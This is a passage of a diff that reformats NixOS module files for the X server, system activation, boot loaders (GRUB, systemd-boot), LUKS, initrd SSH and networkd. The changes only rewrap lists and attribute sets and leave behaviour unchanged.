-      ++ optional (!cfg.enableTCP) "-nolisten tcp"
-      ++ optional (cfg.autoRepeatDelay != null) "-ardelay ${toString cfg.autoRepeatDelay}"
-      ++ optional (cfg.autoRepeatInterval != null) "-arinterval ${toString cfg.autoRepeatInterval}"
-      ++ optional cfg.terminateOnReset "-terminate";
+    services.xserver.displayManager.xserverArgs = [
+      "-config ${configFile}"
+      "-xkbdir"
+      "${cfg.xkb.dir}"
+    ]
+    ++ optional (cfg.display != null) ":${toString cfg.display}"
+    ++ optional (cfg.tty != null) "vt${toString cfg.tty}"
+    ++ optional (cfg.dpi != null) "-dpi ${toString cfg.dpi}"
+    ++ optional (cfg.logFile != null) "-logfile ${toString cfg.logFile}"
+    ++ optional (cfg.verbose != null) "-verbose ${toString cfg.verbose}"
+    ++ optional (!cfg.enableTCP) "-nolisten tcp"
+    ++ optional (cfg.autoRepeatDelay != null) "-ardelay ${toString cfg.autoRepeatDelay}"
+    ++ optional (cfg.autoRepeatInterval != null) "-arinterval ${toString cfg.autoRepeatInterval}"
+    ++ optional cfg.terminateOnReset "-terminate";
 
     services.xserver.modules = concatLists (catAttrs "modules" cfg.drivers) ++ [
       xorg.xorgserver.out
diff --git a/nixos/modules/system/activation/activation-script.nix b/nixos/modules/system/activation/activation-script.nix
index 58f6ebc90422..efa637ef5abf 100644
--- a/nixos/modules/system/activation/activation-script.nix
+++ b/nixos/modules/system/activation/activation-script.nix
@@ -98,32 +98,31 @@ let
     withDry:
     with types;
     let
-      scriptOptions =
-        {
-          deps = mkOption {
-            type = types.listOf types.str;
-            default = [ ];
-            description = "List of dependencies. The script will run after these.";
-          };
-          text = mkOption {
-            type = types.lines;
-            description = "The content of the script.";
-          };
-        }
-        // optionalAttrs withDry {
-          supportsDryActivation = mkOption {
-            type = types.bool;
-            default = false;
-            description = ''
-              Whether this activation script supports being dry-activated.
-              These activation scripts will also be executed on dry-activate
-              activations with the environment variable
-              `NIXOS_ACTION` being set to `dry-activate`.
-              it's important that these activation scripts  don't
-              modify anything about the system when the variable is set.
-            '';
-          };
+      scriptOptions = {
+        deps = mkOption {
+          type = types.listOf types.str;
+          default = [ ];
+          description = "List of dependencies. The script will run after these.";
         };
+        text = mkOption {
+          type = types.lines;
+          description = "The content of the script.";
+        };
+      }
+      // optionalAttrs withDry {
+        supportsDryActivation = mkOption {
+          type = types.bool;
+          default = false;
+          description = ''
+            Whether this activation script supports being dry-activated.
+            These activation scripts will also be executed on dry-activate
+            activations with the environment variable
+            `NIXOS_ACTION` being set to `dry-activate`.
+            it's important that these activation scripts  don't
+            modify anything about the system when the variable is set.
+          '';
+        };
+      };
     in
     either str (submodule {
       options = scriptOptions;
@@ -276,16 +275,15 @@ in
     system.activationScripts.stdio = ""; # obsolete
     system.activationScripts.var = ""; # obsolete
 
-    systemd.tmpfiles.rules =
-      [
-        "D /var/empty 0555 root root -"
-        "h /var/empty - - - - +i"
-      ]
-      ++ lib.optionals config.nix.enable [
-        # Prevent the current configuration from being garbage-collected.
-        "d /nix/var/nix/gcroots -"
-        "L+ /nix/var/nix/gcroots/current-system - - - - /run/current-system"
-      ];
+    systemd.tmpfiles.rules = [
+      "D /var/empty 0555 root root -"
+      "h /var/empty - - - - +i"
+    ]
+    ++ lib.optionals config.nix.enable [
+      # Prevent the current configuration from being garbage-collected.
+      "d /nix/var/nix/gcroots -"
+      "L+ /nix/var/nix/gcroots/current-system - - - - /run/current-system"
+    ];
 
     system.activationScripts.usrbinenv =
       if config.environment.usrbinenv != null then
diff --git a/nixos/modules/system/activation/bootspec.nix b/nixos/modules/system/activation/bootspec.nix
index 99a859f91829..c625b91ec1e2 100644
--- a/nixos/modules/system/activation/bootspec.nix
+++ b/nixos/modules/system/activation/bootspec.nix
@@ -24,19 +24,18 @@ let
           (
             cfg.extensions
             // {
-              "org.nixos.bootspec.v1" =
-                {
-                  system = config.boot.kernelPackages.stdenv.hostPlatform.system;
-                  kernel = "${config.boot.kernelPackages.kernel}/${config.system.boot.loader.kernelFile}";
-                  kernelParams = config.boot.kernelParams;
-                  label = "${config.system.nixos.distroName} ${config.system.nixos.codeName} ${config.system.nixos.label} (Linux ${config.boot.kernelPackages.kernel.modDirVersion})";
-                }
-                // lib.optionalAttrs config.boot.initrd.enable {
-                  initrd = "${config.system.build.initialRamdisk}/${config.system.boot.loader.initrdFile}";
-                }
-                // lib.optionalAttrs hasAtLeastOneInitrdSecret {
-                  initrdSecrets = "${config.system.build.initialRamdiskSecretAppender}/bin/append-initrd-secrets";
-                };
+              "org.nixos.bootspec.v1" = {
+                system = config.boot.kernelPackages.stdenv.hostPlatform.system;
+                kernel = "${config.boot.kernelPackages.kernel}/${config.system.boot.loader.kernelFile}";
+                kernelParams = config.boot.kernelParams;
+                label = "${config.system.nixos.distroName} ${config.system.nixos.codeName} ${config.system.nixos.label} (Linux ${config.boot.kernelPackages.kernel.modDirVersion})";
+              }
+              // lib.optionalAttrs config.boot.initrd.enable {
+                initrd = "${config.system.build.initialRamdisk}/${config.system.boot.loader.initrdFile}";
+              }
+              // lib.optionalAttrs hasAtLeastOneInitrdSecret {
+                initrdSecrets = "${config.system.build.initialRamdiskSecretAppender}/bin/append-initrd-secrets";
+              };
             }
           )
       );
diff --git a/nixos/modules/system/activation/top-level.nix b/nixos/modules/system/activation/top-level.nix
index 56e97d3fdea9..b8662e992965 100644
--- a/nixos/modules/system/activation/top-level.nix
+++ b/nixos/modules/system/activation/top-level.nix
@@ -100,11 +100,9 @@ let
 
   systemWithBuildDeps = system.overrideAttrs (o: {
     systemBuildClosure = pkgs.closureInfo { rootPaths = [ system.drvPath ]; };
-    buildCommand =
-      o.buildCommand
-      + ''
-        ln -sn $systemBuildClosure $out/build-closure
-      '';
+    buildCommand = o.buildCommand + ''
+      ln -sn $systemBuildClosure $out/build-closure
+    '';
   });
 
 in
@@ -360,44 +358,43 @@ in
         )
       );
 
-    system.systemBuilderArgs =
-      {
+    system.systemBuilderArgs = {
 
-        # Legacy environment variables. These were used by the activation script,
-        # but some other script might still depend on them, although unlikely.
-        installBootLoader = config.system.build.installBootLoader;
-        localeArchive = "${config.i18n.glibcLocales}/lib/locale/locale-archive";
-        distroId = config.system.nixos.distroId;
-        perl = pkgs.perl.withPackages (
-          p: with p; [
-            ConfigIniFiles
-            FileSlurp
-          ]
-        );
-        # End if legacy environment variables
+      # Legacy environment variables. These were used by the activation script,
+      # but some other script might still depend on them, although unlikely.
+      installBootLoader = config.system.build.installBootLoader;
+      localeArchive = "${config.i18n.glibcLocales}/lib/locale/locale-archive";
+      distroId = config.system.nixos.distroId;
+      perl = pkgs.perl.withPackages (
+        p: with p; [
+          ConfigIniFiles
+          FileSlurp
+        ]
+      );
+      # End if legacy environment variables
 
-        preSwitchCheck = config.system.preSwitchChecksScript;
+      preSwitchCheck = config.system.preSwitchChecksScript;
 
-        # Not actually used in the builder. `passedChecks` is just here to create
-        # the build dependencies. Checks are similar to build dependencies in the
-        # sense that if they fail, the system build fails. However, checks do not
-        # produce any output of value, so they are not used by the system builder.
-        # In fact, using them runs the risk of accidentally adding unneeded paths
-        # to the system closure, which defeats the purpose of the `system.checks`
-        # option, as opposed to `system.extraDependencies`.
-        passedChecks = concatStringsSep " " config.system.checks;
-      }
-      // lib.optionalAttrs (config.system.forbiddenDependenciesRegexes != [ ]) {
-        closureInfo = pkgs.closureInfo {
-          rootPaths = [
-            # override to avoid  infinite recursion (and to allow using extraDependencies to add forbidden dependencies)
-            (config.system.build.toplevel.overrideAttrs (_: {
-              extraDependencies = [ ];
-              closureInfo = null;
-            }))
-          ];
-        };
+      # Not actually used in the builder. `passedChecks` is just here to create
+      # the build dependencies. Checks are similar to build dependencies in the
+      # sense that if they fail, the system build fails. However, checks do not
+      # produce any output of value, so they are not used by the system builder.
+      # In fact, using them runs the risk of accidentally adding unneeded paths
+      # to the system closure, which defeats the purpose of the `system.checks`
+      # option, as opposed to `system.extraDependencies`.
+      passedChecks = concatStringsSep " " config.system.checks;
+    }
+    // lib.optionalAttrs (config.system.forbiddenDependenciesRegexes != [ ]) {
+      closureInfo = pkgs.closureInfo {
+        rootPaths = [
+          # override to avoid  infinite recursion (and to allow using extraDependencies to add forbidden dependencies)
+          (config.system.build.toplevel.overrideAttrs (_: {
+            extraDependencies = [ ];
+            closureInfo = null;
+          }))
+        ];
       };
+    };
 
     system.build.toplevel =
       if config.system.includeBuildDependencies then systemWithBuildDeps else system;
diff --git a/nixos/modules/system/boot/binfmt.nix b/nixos/modules/system/boot/binfmt.nix
index e7c914954f1e..5dfa85e4cd4c 100644
--- a/nixos/modules/system/boot/binfmt.nix
+++ b/nixos/modules/system/boot/binfmt.nix
@@ -387,8 +387,7 @@ in
     );
     nix.settings = lib.mkIf (cfg.addEmulatedSystemsToNixSandbox && cfg.emulatedSystems != [ ]) {
       extra-platforms =
-        cfg.emulatedSystems
-        ++ lib.optional pkgs.stdenv.hostPlatform.isx86_64 "i686-linux";
+        cfg.emulatedSystems ++ lib.optional pkgs.stdenv.hostPlatform.isx86_64 "i686-linux";
       extra-sandbox-paths =
         let
           ruleFor = system: cfg.registrations.${system};
@@ -405,13 +404,12 @@ in
 
     systemd = lib.mkMerge [
       ({
-        tmpfiles.rules =
-          [
-            "d /run/binfmt 0755 -"
-          ]
-          ++ lib.mapAttrsToList (name: interpreter: "L+ /run/binfmt/${name} - - - - ${interpreter}") (
-            lib.mapAttrs mkInterpreter config.boot.binfmt.registrations
-          );
+        tmpfiles.rules = [
+          "d /run/binfmt 0755 -"
+        ]
+        ++ lib.mapAttrsToList (name: interpreter: "L+ /run/binfmt/${name} - - - - ${interpreter}") (
+          lib.mapAttrs mkInterpreter config.boot.binfmt.registrations
+        );
       })
 
       (lib.mkIf (config.boot.binfmt.registrations != { }) {
diff --git a/nixos/modules/system/boot/initrd-ssh.nix b/nixos/modules/system/boot/initrd-ssh.nix
index 76d036766101..d43ce5960e11 100644
--- a/nixos/modules/system/boot/initrd-ssh.nix
+++ b/nixos/modules/system/boot/initrd-ssh.nix
@@ -171,51 +171,50 @@ in
 
       sshdCfg = config.services.openssh;
 
-      sshdConfig =
-        ''
-          UsePAM no
-          Port ${toString cfg.port}
+      sshdConfig = ''
+        UsePAM no
+        Port ${toString cfg.port}
 
-          PasswordAuthentication no
-          AuthorizedKeysFile %h/.ssh/authorized_keys %h/.ssh/authorized_keys2 /etc/ssh/authorized_keys.d/%u
-          ChallengeResponseAuthentication no
+        PasswordAuthentication no
+        AuthorizedKeysFile %h/.ssh/authorized_keys %h/.ssh/authorized_keys2 /etc/ssh/authorized_keys.d/%u
+        ChallengeResponseAuthentication no
 
-          ${flip concatMapStrings cfg.hostKeys (path: ''
-            HostKey ${initrdKeyPath path}
-          '')}
+        ${flip concatMapStrings cfg.hostKeys (path: ''
+          HostKey ${initrdKeyPath path}
+        '')}
 
-        ''
-        + lib.optionalString (sshdCfg.settings.KexAlgorithms != null) ''
-          KexAlgorithms ${concatStringsSep "," sshdCfg.settings.KexAlgorithms}
-        ''
-        + lib.optionalString (sshdCfg.settings.Ciphers != null) ''
-          Ciphers ${concatStringsSep "," sshdCfg.settings.Ciphers}
-        ''
-        + lib.optionalString (sshdCfg.settings.Macs != null) ''
-          MACs ${concatStringsSep "," sshdCfg.settings.Macs}
-        ''
-        + ''
+      ''
+      + lib.optionalString (sshdCfg.settings.KexAlgorithms != null) ''
+        KexAlgorithms ${concatStringsSep "," sshdCfg.settings.KexAlgorithms}
+      ''
+      + lib.optionalString (sshdCfg.settings.Ciphers != null) ''
+        Ciphers ${concatStringsSep "," sshdCfg.settings.Ciphers}
+      ''
+      + lib.optionalString (sshdCfg.settings.Macs != null) ''
+        MACs ${concatStringsSep "," sshdCfg.settings.Macs}
+      ''
+      + ''
 
-          LogLevel ${sshdCfg.settings.LogLevel}
+        LogLevel ${sshdCfg.settings.LogLevel}
 
-          ${
-            if sshdCfg.settings.UseDns then
-              ''
-                UseDNS yes
-              ''
-            else
-              ''
-                UseDNS no
-              ''
-          }
+        ${
+          if sshdCfg.settings.UseDns then
+            ''
+              UseDNS yes
+            ''
+          else
+            ''
+              UseDNS no
+            ''
+        }
 
-          ${optionalString (!config.boot.initrd.systemd.enable) ''
-            SshdAuthPath /bin/sshd-auth
-            SshdSessionPath /bin/sshd-session
-          ''}
+        ${optionalString (!config.boot.initrd.systemd.enable) ''
+          SshdAuthPath /bin/sshd-auth
+          SshdSessionPath /bin/sshd-session
+        ''}
 
-          ${cfg.extraConfig}
-        '';
+        ${cfg.extraConfig}
+      '';
     in
     mkIf enabled {
       assertions = [
diff --git a/nixos/modules/system/boot/kernel.nix b/nixos/modules/system/boot/kernel.nix
index b660d2c6d7a9..623dc21c175f 100644
--- a/nixos/modules/system/boot/kernel.nix
+++ b/nixos/modules/system/boot/kernel.nix
@@ -378,12 +378,13 @@ in
 
       # Implement consoleLogLevel both in early boot and using sysctl
       # (so you don't need to reboot to have changes take effect).
-      boot.kernelParams =
-        [ "loglevel=${toString config.boot.consoleLogLevel}" ]
-        ++ optionals config.boot.vesa [
-          "vga=0x317"
-          "nomodeset"
-        ];
+      boot.kernelParams = [
+        "loglevel=${toString config.boot.consoleLogLevel}"
+      ]
+      ++ optionals config.boot.vesa [
+        "vga=0x317"
+        "nomodeset"
+      ];
 
       boot.kernel.sysctl."kernel.printk" = mkDefault config.boot.consoleLogLevel;
 
diff --git a/nixos/modules/system/boot/loader/grub/grub.nix b/nixos/modules/system/boot/loader/grub/grub.nix
index ebd45729d2bf..4b319f969d66 100644
--- a/nixos/modules/system/boot/loader/grub/grub.nix
+++ b/nixos/modules/system/boot/loader/grub/grub.nix
@@ -851,54 +851,53 @@ in
         '') config.boot.loader.grub.extraFiles
       );
 
-      assertions =
+      assertions = [
+        {
+          assertion = cfg.mirroredBoots != [ ];
+          message =
+            "You must set the option ‘boot.loader.grub.devices’ or "
+            + "'boot.loader.grub.mirroredBoots' to make the system bootable.";
+        }
+        {
+          assertion =
+            cfg.efiSupport
+            || all (c: c < 2) (mapAttrsToList (n: c: if n == "nodev" then 0 else c) bootDeviceCounters);
+          message = "You cannot have duplicated devices in mirroredBoots";
+        }
+        {
+          assertion = cfg.efiInstallAsRemovable -> cfg.efiSupport;
+          message = "If you wish to to use boot.loader.grub.efiInstallAsRemovable, then turn on boot.loader.grub.efiSupport";
+        }
+        {
+          assertion = cfg.efiInstallAsRemovable -> !config.boot.loader.efi.canTouchEfiVariables;
+          message = "If you wish to to use boot.loader.grub.efiInstallAsRemovable, then turn off boot.loader.efi.canTouchEfiVariables";
+        }
+        {
+          assertion = !(options.boot.loader.grub.version.isDefined && cfg.version == 1);
+          message = "Support for version 0.9x of GRUB was removed after being unsupported upstream for around a decade";
+        }
+      ]
+      ++ flip concatMap cfg.mirroredBoots (
+        args:
         [
           {
-            assertion = cfg.mirroredBoots != [ ];
-            message =
-              "You must set the option ‘boot.loader.grub.devices’ or "
-              + "'boot.loader.grub.mirroredBoots' to make the system bootable.";
+            assertion = args.devices != [ ];
+            message = "A boot path cannot have an empty devices string in ${args.path}";
           }
           {
-            assertion =
-              cfg.efiSupport
-              || all (c: c < 2) (mapAttrsToList (n: c: if n == "nodev" then 0 else c) bootDeviceCounters);
-            message = "You cannot have duplicated devices in mirroredBoots";
+            assertion = hasPrefix "/" args.path;
+            message = "Boot paths must be absolute, not ${args.path}";
           }
           {
-            assertion = cfg.efiInstallAsRemovable -> cfg.efiSupport;
-            message = "If you wish to to use boot.loader.grub.efiInstallAsRemovable, then turn on boot.loader.grub.efiSupport";
-          }
-          {
-            assertion = cfg.efiInstallAsRemovable -> !config.boot.loader.efi.canTouchEfiVariables;
-            message = "If you wish to to use boot.loader.grub.efiInstallAsRemovable, then turn off boot.loader.efi.canTouchEfiVariables";
-          }
-          {
-            assertion = !(options.boot.loader.grub.version.isDefined && cfg.version == 1);
-            message = "Support for version 0.9x of GRUB was removed after being unsupported upstream for around a decade";
+            assertion = if args.efiSysMountPoint == null then true else hasPrefix "/" args.efiSysMountPoint;
+            message = "EFI paths must be absolute, not ${args.efiSysMountPoint}";
           }
         ]
-        ++ flip concatMap cfg.mirroredBoots (
-          args:
-          [
-            {
-              assertion = args.devices != [ ];
-              message = "A boot path cannot have an empty devices string in ${args.path}";
-            }
-            {
-              assertion = hasPrefix "/" args.path;
-              message = "Boot paths must be absolute, not ${args.path}";
-            }
-            {
-              assertion = if args.efiSysMountPoint == null then true else hasPrefix "/" args.efiSysMountPoint;
-              message = "EFI paths must be absolute, not ${args.efiSysMountPoint}";
-            }
-          ]
-          ++ forEach args.devices (device: {
-            assertion = device == "nodev" || hasPrefix "/" device;
-            message = "GRUB devices must be absolute paths, not ${device} in ${args.path}";
-          })
-        );
+        ++ forEach args.devices (device: {
+          assertion = device == "nodev" || hasPrefix "/" device;
+          message = "GRUB devices must be absolute paths, not ${device} in ${args.path}";
+        })
+      );
     })
 
     (mkIf options.boot.loader.grub.version.isDefined {
diff --git a/nixos/modules/system/boot/loader/grub/ipxe.nix b/nixos/modules/system/boot/loader/grub/ipxe.nix
index a988e15a20db..9bd20ed38fee 100644
--- a/nixos/modules/system/boot/loader/grub/ipxe.nix
+++ b/nixos/modules/system/boot/loader/grub/ipxe.nix
@@ -51,16 +51,15 @@ in
 
     boot.loader.grub.extraEntries = toString (map grubEntry scripts);
 
-    boot.loader.grub.extraFiles =
-      {
-        "ipxe.lkrn" = "${pkgs.ipxe}/ipxe.lkrn";
-      }
-      // builtins.listToAttrs (
-        map (name: {
-          name = name + ".ipxe";
-          value = scriptFile name;
-        }) scripts
-      );
+    boot.loader.grub.extraFiles = {
+      "ipxe.lkrn" = "${pkgs.ipxe}/ipxe.lkrn";
+    }
+    // builtins.listToAttrs (
+      map (name: {
+        name = name + ".ipxe";
+        value = scriptFile name;
+      }) scripts
+    );
   };
 
 }
diff --git a/nixos/modules/system/boot/loader/systemd-boot/systemd-boot.nix b/nixos/modules/system/boot/loader/systemd-boot/systemd-boot.nix
index f0afb3b8f575..eed72998f565 100644
--- a/nixos/modules/system/boot/loader/systemd-boot/systemd-boot.nix
+++ b/nixos/modules/system/boot/loader/systemd-boot/systemd-boot.nix
@@ -518,62 +518,61 @@ in
   };
 
   config = mkIf cfg.enable {
-    assertions =
-      [
-        {
-          assertion = (hasPrefix "/" efi.efiSysMountPoint);
-          message = "The ESP mount point '${toString efi.efiSysMountPoint}' must be an absolute path";
-        }
-        {
-          assertion = cfg.xbootldrMountPoint == null || (hasPrefix "/" cfg.xbootldrMountPoint);
-          message = "The XBOOTLDR mount point '${toString cfg.xbootldrMountPoint}' must be an absolute path";
-        }
-        {
-          assertion = cfg.xbootldrMountPoint != efi.efiSysMountPoint;
-          message = "The XBOOTLDR mount point '${toString cfg.xbootldrMountPoint}' cannot be the same as the ESP mount point '${toString efi.efiSysMountPoint}'";
-        }
-        {
-          assertion = (config.boot.kernelPackages.kernel.features or { efiBootStub = true; }) ? efiBootStub;
-          message = "This kernel does not support the EFI boot stub";
-        }
-        {
-          assertion =
-            cfg.installDeviceTree
-            -> config.hardware.deviceTree.enable
-            -> config.hardware.deviceTree.name != null;
-          message = "Cannot install devicetree without 'config.hardware.deviceTree.enable' enabled and 'config.hardware.deviceTree.name' set";
-        }
-      ]
-      ++ concatMap (filename: [
-        {
-          assertion = !(hasInfix "/" filename);
-          message = "boot.loader.systemd-boot.extraEntries.${lib.strings.escapeNixIdentifier filename} is invalid: entries within folders are not supported";
-        }
-        {
-          assertion = hasSuffix ".conf" filename;
-          message = "boot.loader.systemd-boot.extraEntries.${lib.strings.escapeNixIdentifier filename} is invalid: entries must have a .conf file extension";
-        }
-      ]) (builtins.attrNames cfg.extraEntries)
-      ++ concatMap (filename: [
-        {
-          assertion = !(hasPrefix "/" filename);
-          message = "boot.loader.systemd-boot.extraFiles.${lib.strings.escapeNixIdentifier filename} is invalid: paths must not begin with a slash";
-        }
-        {
-          assertion = !(hasInfix ".." filename);
-          message = "boot.loader.systemd-boot.extraFiles.${lib.strings.escapeNixIdentifier filename} is invalid: paths must not reference the parent directory";
-        }
-        {
-          assertion = !(hasInfix "nixos/.extra-files" (toLower filename));
-          message = "boot.loader.systemd-boot.extraFiles.${lib.strings.escapeNixIdentifier filename} is invalid: files cannot be placed in the nixos/.extra-files directory";
-        }
-      ]) (builtins.attrNames cfg.extraFiles)
-      ++ concatMap (winVersion: [
-        {
-          assertion = lib.match "^[-_0-9A-Za-z]+$" winVersion != null;
-          message = "boot.loader.systemd-boot.windows.${winVersion} is invalid: key must only contain alphanumeric characters, hyphens, and underscores";
-        }
-      ]) (builtins.attrNames cfg.windows);
+    assertions = [
+      {
+        assertion = (hasPrefix "/" efi.efiSysMountPoint);
+        message = "The ESP mount point '${toString efi.efiSysMountPoint}' must be an absolute path";
+      }
+      {
+        assertion = cfg.xbootldrMountPoint == null || (hasPrefix "/" cfg.xbootldrMountPoint);
+        message = "The XBOOTLDR mount point '${toString cfg.xbootldrMountPoint}' must be an absolute path";
+      }
+      {
+        assertion = cfg.xbootldrMountPoint != efi.efiSysMountPoint;
+        message = "The XBOOTLDR mount point '${toString cfg.xbootldrMountPoint}' cannot be the same as the ESP mount point '${toString efi.efiSysMountPoint}'";
+      }
+      {
+        assertion = (config.boot.kernelPackages.kernel.features or { efiBootStub = true; }) ? efiBootStub;
+        message = "This kernel does not support the EFI boot stub";
+      }
+      {
+        assertion =
+          cfg.installDeviceTree
+          -> config.hardware.deviceTree.enable
+          -> config.hardware.deviceTree.name != null;
+        message = "Cannot install devicetree without 'config.hardware.deviceTree.enable' enabled and 'config.hardware.deviceTree.name' set";
+      }
+    ]
+    ++ concatMap (filename: [
+      {
+        assertion = !(hasInfix "/" filename);
+        message = "boot.loader.systemd-boot.extraEntries.${lib.strings.escapeNixIdentifier filename} is invalid: entries within folders are not supported";
+      }
+      {
+        assertion = hasSuffix ".conf" filename;
+        message = "boot.loader.systemd-boot.extraEntries.${lib.strings.escapeNixIdentifier filename} is invalid: entries must have a .conf file extension";
+      }
+    ]) (builtins.attrNames cfg.extraEntries)
+    ++ concatMap (filename: [
+      {
+        assertion = !(hasPrefix "/" filename);
+        message = "boot.loader.systemd-boot.extraFiles.${lib.strings.escapeNixIdentifier filename} is invalid: paths must not begin with a slash";
+      }
+      {
+        assertion = !(hasInfix ".." filename);
+        message = "boot.loader.systemd-boot.extraFiles.${lib.strings.escapeNixIdentifier filename} is invalid: paths must not reference the parent directory";
+      }
+      {
+        assertion = !(hasInfix "nixos/.extra-files" (toLower filename));
+        message = "boot.loader.systemd-boot.extraFiles.${lib.strings.escapeNixIdentifier filename} is invalid: files cannot be placed in the nixos/.extra-files directory";
+      }
+    ]) (builtins.attrNames cfg.extraFiles)
+    ++ concatMap (winVersion: [
+      {
+        assertion = lib.match "^[-_0-9A-Za-z]+$" winVersion != null;
+        message = "boot.loader.systemd-boot.windows.${winVersion} is invalid: key must only contain alphanumeric characters, hyphens, and underscores";
+      }
+    ]) (builtins.attrNames cfg.windows);
 
     boot.loader.grub.enable = mkDefault false;
 
diff --git a/nixos/modules/system/boot/luksroot.nix b/nixos/modules/system/boot/luksroot.nix
index af7362231ea5..9c9c56f53f90 100644
--- a/nixos/modules/system/boot/luksroot.nix
+++ b/nixos/modules/system/boot/luksroot.nix
@@ -163,8 +163,7 @@ let
         optionalString (dev.header != null) "--header=${dev.header}"
       }";
       fido2luksCredentials =
-        dev.fido2.credentials
-        ++ optional (dev.fido2.credential != null) dev.fido2.credential;
+        dev.fido2.credentials ++ optional (dev.fido2.credential != null) dev.fido2.credential;
     in
     ''
       # Wait for luksRoot (and optionally keyFile and/or header) to appear, e.g.
@@ -1133,17 +1132,16 @@ in
     ];
 
     # Some modules that may be needed for mounting anything ciphered
-    boot.initrd.availableKernelModules =
-      [
-        "dm_mod"
-        "dm_crypt"
-        "cryptd"
-        "input_leds"
-      ]
-      ++ luks.cryptoModules
-      # workaround until https://marc.info/?l=linux-crypto-vger&m=148783562211457&w=4 is merged
-      # remove once 'modprobe --show-depends xts' shows ecb as a dependency
-      ++ (optional (builtins.elem "xts" luks.cryptoModules) "ecb");
+    boot.initrd.availableKernelModules = [
+      "dm_mod"
+      "dm_crypt"
+      "cryptd"
+      "input_leds"
+    ]
+    ++ luks.cryptoModules
+    # workaround until https://marc.info/?l=linux-crypto-vger&m=148783562211457&w=4 is merged
+    # remove once 'modprobe --show-depends xts' shows ecb as a dependency
+    ++ (optional (builtins.elem "xts" luks.cryptoModules) "ecb");
 
     # copy the cryptsetup binary and it's dependencies
     boot.initrd.extraUtilsCommands =
@@ -1225,14 +1223,13 @@ in
         "cryptsetup.target"
         "remote-cryptsetup.target"
       ];
-      storePaths =
-        [
-          "${config.boot.initrd.systemd.package}/bin/systemd-cryptsetup"
-          "${config.boot.initrd.systemd.package}/lib/systemd/system-generators/systemd-cryptsetup-generator"
-        ]
-        ++ lib.optionals config.boot.initrd.systemd.tpm2.enable [
-          "${config.boot.initrd.systemd.package}/lib/cryptsetup/libcryptsetup-token-systemd-tpm2.so"
-        ];
+      storePaths = [
+        "${config.boot.initrd.systemd.package}/bin/systemd-cryptsetup"
+        "${config.boot.initrd.systemd.package}/lib/systemd/system-generators/systemd-cryptsetup-generator"
+      ]
+      ++ lib.optionals config.boot.initrd.systemd.tpm2.enable [
+        "${config.boot.initrd.systemd.package}/lib/cryptsetup/libcryptsetup-token-systemd-tpm2.so"
+      ];
 
     };
     # We do this because we need the udev rules from the package
@@ -1265,7 +1262,8 @@ in
             after = [
               "systemd-modules-load.service"
               "tpm2.target"
-            ] ++ optional clevis.useTang "network-online.target";
+            ]
+            ++ optional clevis.useTang "network-online.target";
             script = ''
               mkdir -p /clevis-${name}
               mount -t ramfs none /clevis-${name}
diff --git a/nixos/modules/system/boot/networkd.nix b/nixos/modules/system/boot/networkd.nix
index 6b7b0ee336ac..dac50203aa4e 100644
--- a/nixos/modules/system/boot/networkd.nix
+++ b/nixos/modules/system/boot/networkd.nix
@@ -3128,19 +3128,18 @@ let
     };
 
   renderConfig = def: {
-    text =
-      ''
-        [Network]
-        ${attrsToSection def.networkConfig}
-      ''
-      + optionalString (def.dhcpV4Config != { }) ''
-        [DHCPv4]
-        ${attrsToSection def.dhcpV4Config}
-      ''
-      + optionalString (def.dhcpV6Config != { }) ''
-        [DHCPv6]
-        ${attrsToSection def.dhcpV6Config}
-      '';
+    text = ''
+      [Network]
+      ${attrsToSection def.networkConfig}
+    ''
+    + optionalString (def.dhcpV4Config != { }) ''
+      [DHCPv4]
+      ${attrsToSection def.dhcpV4Config}
+    ''
+    + optionalString (def.dhcpV6Config != { }) ''
+      [DHCPv6]
+      ${attrsToSection def.dhcpV6Config}
+    '';
   };
 
   mkUnitFiles =
@@ -3293,10 +3292,11 @@ let
       {
         systemd.network.units = mapAttrs' (n: v: nameValuePair "${n}.link" (mkUnit linkToUnit v)) cfg.links;
 
-        systemd.network.wait-online.extraArgs =
-          [ "--timeout=${toString cfg.wait-online.timeout}" ]
-          ++ optional cfg.wait-online.anyInterface "--any"
-          ++ map (i: "--ignore=${i}") cfg.wait-online.ignoredInterfaces;
+        systemd.network.wait-online.extraArgs = [
+          "--timeout=${toString cfg.wait-online.timeout}"
+        ]
+        ++ optional cfg.wait-online.anyInterface "--any"
+        ++ map (i: "--ignore=${i}") cfg.wait-online.ignoredInterfaces;
       }
 
       (mkIf config.systemd.network.enable {
diff --git a/nixos/modules/system/boot/plymouth.nix b/nixos/modules/system/boot/plymouth.nix
index 53df5c214146..24861b678769 100644
--- a/nixos/modules/system/boot/plymouth.nix
+++ b/nixos/modules/system/boot/plymouth.nix
@@ -55,7 +55,8 @@ let
     paths = [
       plymouth
       plymouthLogos
-    ] ++ cfg.themePackages;
+    ]
+    ++ cfg.themePackages;
   };
 
   configFile = pkgs.writeText "plymouthd.conf" ''
diff --git a/nixos/modules/system/boot/resolved.nix b/nixos/modules/system/boot/resolved.nix
index 44d13a6fdd98..bf72d2f2747f 100644
--- a/nixos/modules/system/boot/resolved.nix
+++ b/nixos/modules/system/boot/resolved.nix
@@ -197,17 +197,16 @@ in
         stopIfChanged = false;
       };
 
-      environment.etc =
-        {
-          "systemd/resolved.conf".text = resolvedConf;
+      environment.etc = {
+        "systemd/resolved.conf".text = resolvedConf;
 
-          # symlink the dynamic stub resolver of resolv.conf as recommended by upstream:
-          # https://www.freedesktop.org/software/systemd/man/systemd-resolved.html#/etc/resolv.conf
-          "resolv.conf".source = "/run/systemd/resolve/stub-resolv.conf";
-        }
-        // optionalAttrs dnsmasqResolve {
-          "dnsmasq-resolv.conf".source = "/run/systemd/resolve/resolv.conf";
-        };
+        # symlink the dynamic stub resolver of resolv.conf as recommended by upstream:
+        # https://www.freedesktop.org/software/systemd/man/systemd-resolved.html#/etc/resolv.conf
+        "resolv.conf".source = "/run/systemd/resolve/stub-resolv.conf";
+      }
+      // optionalAttrs dnsmasqResolve {
+        "dnsmasq-resolv.conf".source = "/run/systemd/resolve/resolv.conf";
+      };
 
       # If networkmanager is enabled, ask it to interface with resolved.
       networking.networkmanager.dns = "systemd-resolved";
diff --git a/nixos/modules/system/boot/stage-1.nix b/nixos/modules/system/boot/stage-1.nix
index c916160aa791..a102d13086a2 100644
--- a/nixos/modules/system/boot/stage-1.nix
+++ b/nixos/modules/system/boot/stage-1.nix
@@ -396,50 +396,49 @@ let
     name = "initrd-${kernel-name}";
     inherit (config.boot.initrd) compressor compressorArgs prepend;
 
-    contents =
-      [
-        {
-          object = bootStage1;
-          symlink = "/init";
-        }
-        {
-          object = "${modulesClosure}/lib";
-          symlink = "/lib";
-        }
-        {
-          object = "${pkgs.kmod-blacklist-ubuntu}/modprobe.conf";
